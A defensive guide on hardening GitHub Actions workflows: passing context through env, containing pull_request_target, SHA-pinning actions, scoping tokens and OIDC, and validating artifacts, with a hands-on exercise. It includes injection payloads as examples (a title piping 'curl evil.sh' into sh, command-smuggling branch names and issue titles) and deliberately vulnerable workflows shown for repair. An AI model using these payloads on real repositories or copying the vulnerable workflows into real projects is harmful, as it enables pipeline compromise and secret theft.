---
key: "github-actions-hardening"
title: "Harden GitHub Actions against workflow and supply-chain attacks"
url: "https://softwaresecurity.com/domains/supply-chain/ci-cd/github-actions-hardening/"
api: "https://softwaresecurity.com/api/v1/articles/github-actions-hardening.json"
domain: "supply-chain"
topic: "Software supply chain"
type: "Guide"
identifiers: ["CWE-94","CWE-95","CWE-116","CWE-829","CWE-275","CWE-349","A08:2025","A03:2025","A05:2025","V1.2.5","V13.3.1","V13.3.2","CAPEC-88","CAPEC-538"]
tags: ["Injection","Workload identity","Secrets management","CI/CD security"]
stages: ["build","release"]
roles: ["developer","appsec-engineer","platform-sre"]
license: "CC-BY-4.0"
license_url: "https://creativecommons.org/licenses/by/4.0/"
code_license: "MIT"
---

# Harden GitHub Actions against workflow and supply-chain attacks

Close the paths that give untrusted pull-request code secrets or a write token: pass context through env, keep pull_request_target away from fork code, pin actions to commit SHAs, scope GITHUB_TOKEN and OIDC, and treat artifacts as data.

Canonical URL: https://softwaresecurity.com/domains/supply-chain/ci-cd/github-actions-hardening/

## In short

Most GitHub Actions compromises come from untrusted pull-request content reaching a job that holds secrets or a write token. Pass `${{ }}` context through `env` instead of into a `run` script, keep `pull_request_target` and `workflow_run` away from fork code, set `GITHUB_TOKEN` to least privilege, pin third-party actions to a full commit SHA, scope OIDC trust to the repo and environment, and validate any artifact from another workflow as data.

- Do assign context values (`github.event.*`) to `env:` variables and reference the variable in `run`, so attacker text is never pasted into the shell script.
- Do set `permissions` at the top of every workflow (read-only or `{}`) and raise only the one scope a job needs; the default `GITHUB_TOKEN` for new repos is already read-only.
- Do pin third-party actions to a full-length commit SHA with a version comment; a tag can be moved to malicious code, as the 2025 tj-actions/changed-files compromise showed.
- Do keep `pull_request_target` and `workflow_run` away from fork code; `actions/checkout` v7 refuses fork-PR checkout by default, and GitHub's default policy blocks `pull_request_target` on public repos from 2026-11-02.
- Don't give a workflow that runs untrusted PR code any secrets, a write token, or a self-hosted runner.
- Don't trust an artifact or cache produced by a less-trusted workflow; validate it as bounded data before use.

## Recommended defaults

| Setting | Value | Note | Source |
| --- | --- | --- | --- |
| Default `GITHUB_TOKEN` permissions (new repos) | read-only | New repositories get read-only contents/packages since 2023-02-02; existing ones keep their setting. Raise per job. | https://github.blog/changelog/2023-02-02-github-actions-updating-the-default-github_token-permissions-to-read-only/ |
| `GITHUB_TOKEN` lifetime | job end; at most 6 h hosted, 24 h self-hosted | A GitHub App installation token; it expires when the job finishes or at its maximum lifetime, whichever comes first. | https://docs.github.com/en/actions/concepts/security/github_token |
| Fork PR checkout under `pull_request_target`/`workflow_run` | refused (`actions/checkout` v7; v2 to v6 since 2026-07-20) | Opt back in only with `allow-unsafe-pr-checkout: true`. v1 is excluded. | https://github.blog/changelog/2026-06-18-safer-pull_request_target-defaults-for-github-actions-checkout/ |
| `pull_request_target` on public repos | blocked by default from 2026-11-02 | Workflow execution protections add a default event policy; evaluate mode until enforcement. Not applied to private/internal repos. | https://github.blog/changelog/2026-09-17-workflow-execution-protections-in-github-actions-generally-available/ |
| Actions cache for low-trust triggers | read-only | Read-only since 2026-06-26; `cache-mode` (GA 2026-09-10) defaults to `read` for `pull_request_target` and `write` for `push`. | https://github.blog/changelog/2026-09-10-control-github-actions-cache-access-with-cache-mode/ |
| Immutable action reference | full-length commit SHA | The only way to pin an action as an immutable release; tags can be moved. | https://docs.github.com/en/actions/reference/security/secure-use |
| OIDC subject (new repos after 2026-07-15) | `repo:OWNER@OWNER-ID/REPO@REPO-ID:...` | Immutable subject claims bind to numeric IDs; older repos opt in. Not on GHES. | https://github.blog/changelog/2026-04-23-immutable-subject-claims-for-github-actions-oidc-tokens/ |
| Environment required reviewers | up to 6; one approval | Environment secrets are withheld from a job until a reviewer approves. | https://docs.github.com/en/actions/reference/workflows-and-actions/deployments-and-environments |
| Self-hosted runners on public repos | discouraged | A fork PR can compromise a persistent runner; prefer GitHub-hosted or ephemeral/JIT runners. | https://docs.github.com/en/actions/reference/security/secure-use |

## Verify it

1. Run `actionlint` over `.github/workflows` and confirm it reports untrusted context used directly in run steps; fix until it is clean.
2. Run `zizmor` over the workflows and confirm `template-injection`, `excessive-permissions`, `unpinned-uses` and `dangerous-triggers` findings are resolved or justified.
3. Grep every workflow for third-party `uses:` and confirm each is a 40-hex commit SHA, not a tag or branch.
4. Grep for `permissions:` and confirm each workflow sets a top-level default and each job declares only the scopes it needs.
5. Open a fork pull request that puts a shell metacharacter in the branch name or PR title and confirm no job echoes it into a shell or exposes a secret.
6. Check the cloud role trust policy has a `sub` condition scoped to your repo (and environment), with no wildcard that would match another repo, and confirm OIDC uses `id-token: write` only where needed.

## What you will learn

- Find the jobs where untrusted input meets secrets, a write token or a runner.
- Remove run-step script injection by passing context through environment variables.
- Contain pull_request_target and workflow_run and consume artifacts as data.
- Apply least-privilege GITHUB_TOKEN, SHA-pinned actions and scoped OIDC trust.

Audience: Developers and AppSec or platform engineers who write and review GitHub Actions workflows and CI/CD configuration

Before you start:

- Read a GitHub Actions workflow: triggers, jobs, steps, permissions and ${{ }} expressions.
- Tell a fork pull request from a same-repository one, and know what GITHUB_TOKEN and secrets are.
- Basic shell and JSON, and familiarity with OIDC/cloud role trust at a high level.

Time: About 34 minutes: 11 to read and 23 for the exercise

## Find the jobs that hold power

A GitHub Actions compromise almost always has the same shape: content an outsider controls reaches a job that holds something valuable, namely secrets, a write-scoped `GITHUB_TOKEN`, cloud credentials through OIDC, or a persistent self-hosted runner. The content can be a pull request's code, its title or branch name, a dependency it adds, or an artifact or cache an earlier job produced. Start by listing which triggers run on outsider input (`pull_request`, `pull_request_target`, `issue_comment`, `workflow_run`) and which jobs can publish, deploy, write to the repo or read secrets. The risk lives where those two sets overlap.

Two facts make the overlap dangerous. First, `pull_request_target` and `workflow_run` run in the context of the base repository, so they get the repository's secrets and a token that can be write-scoped, even when the triggering pull request comes from a fork. Second, the fork's `pull_request` run itself gets neither: its `GITHUB_TOKEN` is read-only and no secrets are passed. So the safe default is to do untrusted work under `pull_request` and keep anything privileged away from fork-controlled code. The rest of this guide hardens each crossing in turn, and the GitHub defaults changed a lot across 2025 and 2026, so the dated changes are called out where they matter.

## Script injection: keep context out of the shell

A run step is written to a temporary script, and GitHub expands every `${{ }}` expression into that script text before the shell parses it. If an expression holds attacker-controlled text, the attacker is writing shell. A pull request title of `a"; curl evil.sh | sh; "` or a branch name like `zzz";echo${IFS}pwned;#` turns a harmless-looking grep into command execution on the runner. The vulnerable triage workflow below pastes `github.event.issue.title` straight into a bash test; an issue title can close the quote and run anything.

The fix is not to escape the value but to stop it from being code at all. Assign each context value to an `env:` variable, then reference the variable in the script with ordinary, quoted shell expansion. An environment variable's value never passes through the expression-expansion step, so the title is just data in a string. `actionlint` flags the vulnerable form, and GitHub's own guidance says the same: for inline scripts, set the value to an intermediate environment variable. Where you can, use an action that takes the value as an argument instead of building a shell string.

```yaml
name: triage
on:
  issues:
    types: [opened]
permissions:
  issues: write
jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      - name: Label bug reports
        env:
          GH_TOKEN: ${{ github.token }}
        run: |
          if [[ "${{ github.event.issue.title }}" == *bug* ]]; then
            gh issue edit "${{ github.event.issue.number }}" --add-label bug --repo "$GITHUB_REPOSITORY"
          fi
```

## The env fix, plus per-job permissions

The repaired triage workflow moves the title and number into `env` and references `$TITLE` and `$NUMBER` in the script, so no attacker text reaches the shell as code. The same version also tightens authority: the top-level `permissions` is `{}` (no token scopes), and the one job that needs to label issues declares `issues: write` with a comment saying why. Setting any `permissions` block drops every scope you do not list to none, which is exactly what you want.

This pattern, context through env and least-privilege permissions, is the single highest-value habit in Actions. Run `actionlint` and `zizmor` in CI so a future edit that reintroduces `${{ github.event.* }}` in a `run` step fails the build.

```yaml
name: triage
on:
  issues:
    types: [opened]
permissions: {}
jobs:
  label:
    runs-on: ubuntu-latest
    permissions:
      issues: write   # add the label
    steps:
      - name: Label bug reports
        env:
          TITLE: ${{ github.event.issue.title }}
          NUMBER: ${{ github.event.issue.number }}
          GH_TOKEN: ${{ github.token }}
        run: |
          if [[ "$TITLE" == *bug* ]]; then
            gh issue edit "$NUMBER" --add-label bug --repo "$GITHUB_REPOSITORY"
          fi
```

## pull_request_target and workflow_run: the pwn request

The classic "pwn request" is a `pull_request_target` workflow that checks out the fork's head commit and then builds or tests it. Because `pull_request_target` carries the base repository's secrets and a write token, running the fork's code (through `npm ci`, `make`, a build script, or anything the fork controls) hands that code the secrets. The vulnerable workflow below does exactly this, and compounds it with `permissions: write-all` and an unpinned action. GitHub's rule is blunt: workflows on these triggers must not check out or execute untrusted code.

GitHub tightened the defaults here through 2026. `actions/checkout` v7 (June 2026, backported to v2 to v6 with enforcement on 2026-07-20) refuses to fetch fork pull-request code under `pull_request_target` or `workflow_run` unless you set `allow-unsafe-pr-checkout: true`; v1 is excluded, and a SHA-pinned checkout does not pick up the backport automatically. Workflow execution protections (GA September 2026) add a default rule that disables `pull_request_target` on public repositories with no event policy of their own. The rule runs in evaluate mode before enforcement, which GitHub's changelog set for 2026-11-02 (private and internal repos are unaffected). The low-trust cache is read-only by default too. These are backstops, not a design: the fix is still to not run fork code in a privileged context. /domains/supply-chain/ci-cd/untrusted-workflow-boundaries/ traces the whole privilege path, including artifact and cache handoffs.

```yaml
name: pr-build
on: pull_request_target
permissions: write-all
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm ci && npm test
        env:
          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
```

## Split the work: untrusted build, trusted comment

When you genuinely need to act on a fork PR with privileges (post a comment, update a status), split it into two workflows. The untrusted half runs on `pull_request` with no secrets and a read-only token: it builds, tests and writes a small, data-only summary as an artifact. The privileged half runs on `workflow_run` after the first completes, downloads that artifact, and does the privileged action. The CI workflow below is the untrusted half: note `persist-credentials: false` on a SHA-pinned checkout, and that it only ever emits a bounded JSON file.

The privileged half must treat the artifact as untrusted data, never as code. The companion `ci-comment` workflow downloads the summary into an `untrusted/` directory, checks its size, validates that it is exactly the expected integer fields in range, and only then posts a comment. It never unzips and runs anything from the artifact, and it re-reads the PR head from the API to bind the comment to the right commit. This is the same contract as GitHub's guidance that `workflow_run` artifacts from other workflows are untrusted.

```yaml
name: ci
on: pull_request
permissions:
  contents: read   # read the code; fork PRs get no secrets and a read-only token
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - run: npm ci && npm test
      - name: Write a data-only summary
        env:
          PR_NUMBER: ${{ github.event.pull_request.number }}
        run: ./ci/summary.sh "$PR_NUMBER" > summary.json
      - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
        with:
          name: summary
          path: summary.json
```

## The privileged consumer validates, never executes

The consumer below is the whole point of the split. It downloads the summary artifact from the triggering run, enforces a size cap, and uses one `jq` assertion to require exactly the keys `failed`, `passed` and `pr`, each a non-negative integer below a million. Anything else (an extra key, a string, a float, an oversized blob, a non-JSON body) fails the step before any privileged call. It then confirms the PR's current head matches the `workflow_run` head SHA so a race cannot retarget the comment. Only after all that does it call `gh pr comment`.

Tested against hostile inputs, this step accepts the valid summary and rejects an extra key, a string `pr`, a float, a negative number, a boolean, non-JSON, an oversized file, and a mismatched head commit. That is the bar for anything that consumes a less-trusted artifact: a narrow schema, hard limits, and no path from artifact content to execution.

```yaml
name: ci-comment
on:
  workflow_run:
    workflows: [ci]
    types: [completed]
permissions: {}
jobs:
  comment:
    if: github.event.workflow_run.event == 'pull_request'
    runs-on: ubuntu-latest
    permissions:
      actions: read          # download the other run's artifact
      pull-requests: write   # post the comment
    steps:
      - uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2
        with:
          name: summary
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ github.token }}
          path: untrusted
      - name: Validate the artifact as data, then comment
        env:
          GH_TOKEN: ${{ github.token }}
          HEAD_SHA: ${{ github.event.workflow_run.head_sha }}
        run: |
          set -euo pipefail
          f=untrusted/summary.json
          [ "$(wc -c < "$f")" -le 1024 ]
          jq -e 'keys == ["failed","passed","pr"] and all(.[]; type == "number" and . >= 0 and . == floor and . < 1000000)' "$f" > /dev/null
          pr=$(jq '.pr' "$f"); passed=$(jq '.passed' "$f"); failed=$(jq '.failed' "$f")
          head=$(gh pr view "$pr" --repo "$GITHUB_REPOSITORY" --json headRefOid --jq .headRefOid)
          [ "$head" = "$HEAD_SHA" ]
          gh pr comment "$pr" --repo "$GITHUB_REPOSITORY" --body "Tests: $passed passed, $failed failed"
```

## Pin actions to a commit SHA

A third-party action runs with your workflow's privileges, so its reference is a trust decision. A tag like `@v4` is mutable: whoever controls the action's repository can move it to new code. Pin to a full-length commit SHA and keep the version in a trailing comment, for example `uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1`. GitHub states a full-length commit SHA is currently the only way to use an action as an immutable release, and repository or organization policy can require SHA pinning and even block specific actions (a `!` prefix in the allow list, since August 2025). Pair pinning with Dependabot, which updates pinned SHAs; note Dependabot does not raise alerts for actions already pinned to a SHA, so updates are how you get fixes.

The 2025 tj-actions/changed-files compromise (CVE-2025-30066, CVSS 8.6) is the cautionary tale, told in full in /domains/supply-chain/ci-cd/case-study-tj-actions/. Attackers who had obtained a maintainer token repointed the action's existing version tags at a malicious commit; the injected code dumped the runner's memory and printed secrets, double-base64-encoded, into workflow logs. Every workflow referencing the action by tag ran the malicious code; a workflow pinned to a known-good SHA did not. Unit 42 traced the entry point back through a compromised reviewdog action (CVE-2025-30154) to a SpotBugs `pull_request_target` workflow that leaked a token; although the action was used by tens of thousands of repositories, Endor Labs found that only 218 actually leaked secrets, most of them short-lived `GITHUB_TOKEN`s. CISA added both CVEs to its Known Exploited Vulnerabilities catalog. The lessons are exactly this guide: pin to SHAs, keep tokens least-privilege and short-lived, and avoid `pull_request_target` with untrusted code.

```yaml
name: deploy
on:
  push:
    branches: [main]
permissions: {}
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    permissions:
      contents: read
      id-token: write   # request the OIDC token for AWS
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: aws-actions/configure-aws-credentials@cbe3b392738ccf3f987d68400dafcf4b0624a56c # v6.2.4
        with:
          role-to-assume: arn:aws:iam::111122223333:role/acme-web-deploy
          aws-region: us-east-1
      - run: ./scripts/deploy.sh
```

## OIDC: scope the token and the trust policy

Prefer short-lived OIDC credentials over long-lived cloud secrets stored in the repo. The deploy workflow above requests an OIDC token with `id-token: write` (which only lets the job mint the token, not write to the repo), runs on a protected push to main, and uses an environment so a reviewer and branch rules gate it. The matching AWS role trust policy is where the real control lives: it must require the audience and a sub claim scoped to your repository and, here, the production environment.

The trust policy below allows only a token whose `sub` is `repo:acme/web:environment:production` with the `sts.amazonaws.com` audience. GitHub's guidance and AWS both insist you define at least one condition so untrusted repositories cannot assume the role; a tested trap is a `StringLike` wildcard such as `repo:acme/*`, which would also admit a fork or an unrelated repo. Tested against sample tokens, the scoped policy allows the production deploy and denies a main-branch job without the environment, a pull_request job, another repo using the same environment name, and a wrong audience; the wildcard policy wrongly allows the first four. Note the subject format change: repositories created after 2026-07-15 use immutable subject claims of the form `repo:OWNER@OWNER-ID/REPO@REPO-ID:...`, so match your repository's actual format, and use repository custom property claims (GA in 2026) when you want to key trust on a compliance tier rather than a name.

```json
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": { "Federated": "arn:aws:iam::111122223333:oidc-provider/token.actions.githubusercontent.com" },
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringEquals": {
        "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
        "token.actions.githubusercontent.com:sub": "repo:acme/web:environment:production"
      }
    }
  }]
}
```

## Runners, secrets and environments

Self-hosted runners should almost never run public-repository workflows: a fork pull request can run code that persistently compromises the host, and destroying the VM after each job is not guaranteed unless you make the runner ephemeral. Use GitHub-hosted runners where you can, and ephemeral or just-in-time runners (one job, then removed) otherwise, placed in runner groups that bound their network reach. Remember that a secret passed as a command-line argument can be read by another job on the same machine.

For secrets, keep them out of workflow files, store each sensitive value as its own secret (structured JSON blobs defeat log masking), and register any value you derive from a secret with `::add-mask::` so it is redacted too. Masking is best-effort, so if a secret appears in a log, rotate it. Use environments with required reviewers (up to six, one approval needed) and deployment branch rules to gate production: environment secrets are not released to a job until a reviewer approves, which keeps them away from unreviewed code. Finally, run OpenSSF Scorecard's Dangerous-Workflow, Token-Permissions and Pinned-Dependencies checks, or actionlint and zizmor, in CI so these properties are enforced on every change rather than reviewed once. Codecov's 2021 compromise (/domains/supply-chain/ci-cd/case-study-codecov/) shows why: a modified script downloaded in CI posted every environment variable to an attacker. Protect the workflow files themselves with CODEOWNERS and rulesets (/domains/supply-chain/ci-cd/source-repository-protection/).

## Guided practice

A repository has two risky workflows. `triage.yml` interpolates the issue title into a `run` step; `pr-build.yml` runs on `pull_request_target`, checks out the fork head and runs `npm ci && npm test` with a `write-all` token and an `NPM_TOKEN` secret. You also run a deploy job that uses a long-lived AWS access key. Harden all three, and write a trust policy for the OIDC role you introduce. Prove the two code fixes locally.

### Supplied material

```text
triage.yml run step:
  if [[ "${{ github.event.issue.title }}" == *bug* ]]; then gh issue edit ... ; fi
Attacker issue titles to consider:
  T1 = "Login button is a bug"
  T2 = "$(touch PWNED)"
  T3 = 'x" == y ]] || touch PWNED; [[ "bug'

pr-build.yml:
  on: pull_request_target ; permissions: write-all
  checkout ref: ${{ github.event.pull_request.head.sha }} ; then npm ci && npm test ; env NPM_TOKEN

deploy: uses a stored AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY. Target role: arn:aws:iam::111122223333:role/acme-web-deploy, repo acme/web, environment production.
```

### 1. Classify each crossing

For each workflow, name the untrusted input and the authority it can reach.

Worked answer: triage: issue title (attacker text) reaches a shell via `${{ }}` expansion with an issues-scoped token. pr-build: fork code runs with `write-all` and `NPM_TOKEN` because `pull_request_target` carries base secrets. deploy: a long-lived key is a standing secret. The first two are the dangerous overlaps.

### 2. Fix script injection

Rewrite the triage run step so none of T1-T3 can execute, and predict each outcome.

Worked answer: Move the title to `env` (`TITLE: ${{ github.event.issue.title }}`) and test `"$TITLE"`. T1 labels the issue; T2 and T3 are compared as literal strings and never execute. Set top-level permissions and give the job only `issues: write`.

### 3. Contain pull_request_target

Decide whether pr-build needs secrets at all, and restructure it.

Worked answer: Testing a fork PR needs no secrets, so run it on `pull_request` with `contents: read` and a SHA-pinned checkout (`persist-credentials: false`), no `NPM_TOKEN`. If a privileged comment is required, emit a bounded data-only artifact and consume it from a separate `workflow_run` job that validates it as data. Do not check out fork code under `pull_request_target`.

### 4. Replace the key with scoped OIDC

Give the deploy job `id-token: write` and write the AWS role trust policy.

Worked answer: Trust policy allows `sts.amazonaws.com` audience and `sub` `repo:acme/web:environment:production` only. Reject a `StringLike` `repo:acme/*` wildcard, which would admit forks or other repos. Account for the immutable subject format on repos created after 2026-07-15.

### 5. Prove the code fixes

Describe a local test for the two code changes without using GitHub.

Worked answer: Render the triage run step with each title and execute it under `bash` with a stub `gh`; confirm only benign titles call `gh` and no `PWNED` file appears for the fixed version. Run the artifact-consumer step against a valid summary and against extra-key/string/float/negative/boolean/oversized/non-JSON/mismatched-head inputs; confirm only the valid one comments. Also run `actionlint` and `zizmor` and confirm the fixed set is clean of `template-injection` and `excessive-permissions` findings.

Deliverable: Hardened `triage.yml`, `ci.yml` and `ci-comment.yml` (or an equivalent split), a `deploy.yml` using OIDC, the AWS trust policy, and a local test transcript showing injection blocked and hostile artifacts rejected.

Scope: The local tests emulate how the runner renders `${{ }}` into a bash script and how the consumer validates an artifact; they do not reproduce the full runner, GitHub's policy enforcement, or real cloud STS. Org/enterprise policy (SHA-pinning enforcement, allowed actions, the `pull_request_target` default policy) is separate configuration this exercise does not set.

## Executable practice

- [Actions injection lab: Flag GitHub Actions expression injection](https://softwaresecurity.com/labs/actions-injection/)
- [Repair a security pipeline for GitHub Actions and GitLab CI: project ZIP](https://softwaresecurity.com/downloads/projects/security-pipeline-365c6d54e88d6c1c.zip) — Node.js 22+ · no dependencies · GitHub Actions and GitLab CI YAML

Articles and teaching material: CC BY 4.0. Original executable code: MIT. Attribution: Software Security.

## Sources

- [GitHub Actions: secure use reference (script injection, pinning, GITHUB_TOKEN, runners, triggers)](https://docs.github.com/en/actions/reference/security/secure-use)
- [GitHub Actions: securely using pull_request_target (v7 checkout, default policy)](https://docs.github.com/en/actions/reference/security/securely-using-pull_request_target)
- [Safer pull_request_target defaults for actions/checkout (GitHub changelog, 2026-06-18)](https://github.blog/changelog/2026-06-18-safer-pull_request_target-defaults-for-github-actions-checkout/)
- [Workflow execution protections generally available (GitHub changelog, 2026-09-17)](https://github.blog/changelog/2026-09-17-workflow-execution-protections-in-github-actions-generally-available/)
- [Control GitHub Actions cache access with cache-mode (GitHub changelog, 2026-09-10)](https://github.blog/changelog/2026-09-10-control-github-actions-cache-access-with-cache-mode/)
- [Immutable subject claims for GitHub Actions OIDC tokens (GitHub changelog, 2026-04-23)](https://github.blog/changelog/2026-04-23-immutable-subject-claims-for-github-actions-oidc-tokens/)
- [GitHub OIDC reference: token claims and customizing the subject](https://docs.github.com/en/actions/reference/security/oidc)
- [CISA: Supply chain compromise of third-party tj-actions/changed-files (CVE-2025-30066) and reviewdog/action-setup@v1 (CVE-2025-30154)](https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-tj-actionschanged-files-cve-2025-30066-and-reviewdogaction). 18 March 2025.
- [Unit 42: GitHub Actions supply chain attack, from Coinbase to tj-actions/changed-files](https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack/). Updated 2 April 2025.
- [Endor Labs: Blast radius of the tj-actions/changed-files supply chain attack](https://www.endorlabs.com/learn/blast-radius-of-the-tj-actions-changed-files-supply-chain-attack). 19 March 2025, updated 25 August 2025.
- [GitHub Actions default GITHUB_TOKEN permissions set to read-only (changelog, 2023-02-02)](https://github.blog/changelog/2023-02-02-github-actions-updating-the-default-github_token-permissions-to-read-only/)
- [OWASP Top 10 CI/CD Security Risks: CICD-SEC-4 Poisoned Pipeline Execution (PPE)](https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution). v1.0 (2022).
- [CISA, NSA and ODNI (Enduring Security Framework): Securing the Software Supply Chain, Recommended Practices Guide for Developers, section 2.4 Harden the Build Environment](https://www.cisa.gov/sites/default/files/publications/ESF_SECURING_THE_SOFTWARE_SUPPLY_CHAIN_DEVELOPERS.PDF). August 2022.